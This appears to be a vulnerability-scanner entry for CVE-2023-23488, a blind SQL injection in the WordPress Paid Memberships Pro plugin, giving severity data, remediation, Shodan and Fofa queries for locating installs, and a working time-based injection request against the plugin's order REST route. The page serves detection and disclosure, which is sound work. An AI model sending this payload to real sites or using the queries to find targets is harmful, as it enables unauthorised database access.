| Title | WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database. |
| Remediation | Upgrade to WordPress Paid Memberships Pro version 2.9.8 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.84182 |
| CVE ID | CVE-2023-23488 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/paid-memberships-pro/ |
| Fofa Query | body=/wp-content/plugins/paid-memberships-pro/ |
| Tags | time-based-sqli cve2023 cve paid-memberships-pro wordpress tenable packetstorm wp-plugin sqli wp strangerstudios vkev vuln |
WordPress Paid Memberships Pro plugin before 2.9.8 contains a blind SQL injection vulnerability in the ‘code’ parameter of the /pmpro/v1/order REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-23488.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-23488.pcap
N/AN/A